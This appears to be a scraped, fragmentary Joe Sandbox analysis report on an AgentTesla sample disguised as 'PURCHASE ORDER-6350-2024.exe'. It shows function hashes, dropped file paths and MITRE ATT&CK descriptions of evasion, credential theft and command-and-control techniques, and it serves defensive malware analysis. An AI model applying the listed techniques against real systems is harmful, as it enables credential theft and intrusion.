Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 06723BDF

Memory Dump Source

Source File: 00000006.00000002.3271154942.0000000006720000.00000040.00000800.00020000.00000000.sdmp, Offset: 06720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6720000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 4ad858c446490146598dd8012c84dac5703deee0fc4c2acb4c802339d003c9e2
Instruction ID: 88124e1e8f01f01c060b3a37674949eb368042a29efe4bb732ea37a077302997
Opcode Fuzzy Hash: 4ad858c446490146598dd8012c84dac5703deee0fc4c2acb4c802339d003c9e2
Instruction Fuzzy Hash: CD1103B1C0066A9BCB10DF9AC545ADEFBB4FF49720F10816AE818A7241D778A945CFE1

Function 06723B78 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 06723BDF

Memory Dump Source

Source File: 00000006.00000002.3271154942.0000000006720000.00000040.00000800.00020000.00000000.sdmp, Offset: 06720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6720000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 74268a0064bb785b15da9f27cfea99582e5bb38f6432a2bc968980fd113ab17e
Instruction ID: 6ccdded1e0de4343d84934eb3b8e507bd43d5ec9e5d6b182c975f752fa78d8b4
Opcode Fuzzy Hash: 74268a0064bb785b15da9f27cfea99582e5bb38f6432a2bc968980fd113ab17e
Instruction Fuzzy Hash: 3411E2B1C0065A9BCB10DF9AC545B9EFBF4BF48320F14816AD818A7240D778A944CFE5

Function 0122D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3265382173.000000000122D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0122D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_122d000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b8f7b3319e671f2118b59ae05599b2978653659e109bfbe1e48868b77006323
Instruction ID: f65900ffa012ead2c44519086f68444c54cf2b84a13b55f56d530c304e95b16f
Opcode Fuzzy Hash: 9b8f7b3319e671f2118b59ae05599b2978653659e109bfbe1e48868b77006323
Instruction Fuzzy Hash: 8A212571514248EFCB15DF68D580B1ABF65FB84314F20C56DD9090B266C37ED507CA61

Function 0122D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3265382173.000000000122D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0122D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_122d000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 634656832cced321f66d54f91227026c972f8a55d6c1da0ead7620cc0e8bb7e8
Instruction ID: 148fea84590cec5db3c01f46ce93b52a48ad4538cf0bd90b006d8bbb01f5e6c1
Opcode Fuzzy Hash: 634656832cced321f66d54f91227026c972f8a55d6c1da0ead7620cc0e8bb7e8
Instruction Fuzzy Hash: E32180755083849FCB03CF64D994715BF71EB46314F28C5DAD9898F2A7C33A981ACB62

Function 00F0D628 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3264684345.0000000000F0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f0d000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3c83e1a7afec8ab0ed3c62ca1ceb996644e1011f577167df9e83e35380a372a
Instruction ID: 08c7887fb1cc7c5c33483731555acbeb4b0e79222049f94d6d5c622aeccccd11
Opcode Fuzzy Hash: a3c83e1a7afec8ab0ed3c62ca1ceb996644e1011f577167df9e83e35380a372a
Instruction Fuzzy Hash: E2F062714043449AE7208A56D884B62FFA8EF55734F18C55AED4C4A296C37A9844DAB1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PURCHASE ORDER-6350-2024.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PURCHASE ORDER-6350-2024.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aa3ncavf.zhi.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bqvapdi5.4ez.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e3phy5qo.2xj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vjxw10nb.fvq.psm1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
PURCHASE ORDER-6350-2024.exe

Function 010ED550 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Function 010ED560 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 06DC7C4F Relevance: 3.1, APIs: 2, Instructions: 83
COMMON

Function 06E16140 Relevance: 2.6, Strings: 2, Instructions: 71
COMMON

Function 010EAEB8 Relevance: 1.7, APIs: 1, Instructions: 204
COMMON

Function 06E1F990 Relevance: 1.6, Strings: 1, Instructions: 369
COMMON

Function 06DDA290 Relevance: 1.6, APIs: 1, Instructions: 107
timeCOMMON

Function 010E591C Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Function 010E5A94 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre